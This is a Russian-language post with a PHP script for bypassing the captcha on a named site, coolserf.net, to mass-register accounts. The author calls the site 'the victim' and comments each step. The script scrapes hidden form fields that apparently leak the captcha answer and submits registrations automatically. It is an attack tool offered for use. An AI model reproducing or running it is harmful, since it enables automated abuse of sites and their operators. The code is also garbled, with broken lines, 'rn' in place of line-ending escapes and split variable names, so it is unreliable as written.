Скрипт обхода капчи, пригодится для сервисов массовых регистраций, обходить капчу трудно. Так что робит не на всех сайтах.
<?php
$sock =
fsockopen('coolserf.
net', 80, $errno, $err,
4);
/* Здесь мы
открываем
соединение по 80
порту (http://) с
сайтом жертвы,
$errno-номер
возможной ошибки,
$err- сама ошибка, 4-
это время ожидания
ответа, таймаут.*/
$request = "GET
/reg.php?rules=1
HTTP/1.1rnAccept:
*/*rnHost:
coolserf.net:80rn
Connection: Keep-
Alivernrn";
/* Здесь мы пишем
гет запрос который
отправим жертве.
Метод get, далее
идет адрес страницы
регистрации на сайте
жертвы, HTTP/1.1
указывает на версию
протокола, Accept:
*/* так мы говорим
серверу что примем
любой формат файла,
Host: coolserf.net:80
указываем что
ниобходимо
соединиться по 80
порту к нашей жертве,
Connection: Keep-
Alive этим мы
сообщаем что ответ
требуется
подождать*/
fputs($sock,
$request);
/*записываем наш
запрос в поток*/
while( !feof($sock))
$body.=fgets($sock,
20480);
/*этим циклом
забиваем в $ ответ
на наш запрос*/
fclose ($sock);
/*Закрываем поток*/
preg_match("/check
sum' value='([0-9
]+)'/", $body, $ cans);
echo '
checksum '.$cans[1];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем checksum и
забиваем найденый
результат в $cans*/
preg_match("/send'
value='([0-9]+)'/",
$body, $can);
echo '
send '.$can[1];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем send и
забиваем найденый
результат в $can.
Этои и есть
ниобходимый нам код
капчи*/
unset($sock,
$request, $body);
/*уничтожаем
использованые нами
$*/
$post = "send=$can[1
]&checksum=$cans [1
]&up=1234
&img=$can[1]&email [email protected]";
/*Создаем пост
запрос для
регистрации на
сайте, имея сессию и
код с капчи, мы
отправляем серверу
пароль, емейл и тд*/
$sock =
fsockopen('coolserf.
net', 80, $errno, $err,
4);
$request = "POST
/reg.php?rules=1
HTTP/1.1rnAccept:
*/*rnHost:
coolserf.net:80rn
Connection:
ClosernContent-
Type: application/x-
www-form-
urlencodedrnConte
nt-Length: ".strlen
($post)."rnrn";
/*Здесь, если вы
внимательны, то
заметили 2 новых
строки, Content-Type:
application/x-www-
form-urlencoded
указывает на
содержимое, Content-
Length указывает
скоко байт пост
запрос*/
fputs($sock,
$request.$post);
while( !feof($sock))
$body.=fgets($sock,
20480);
echo $body;
fclose ($sock);
unset($sock,
$request, $body);
?>
------------
Автор Zfix aka Йожиг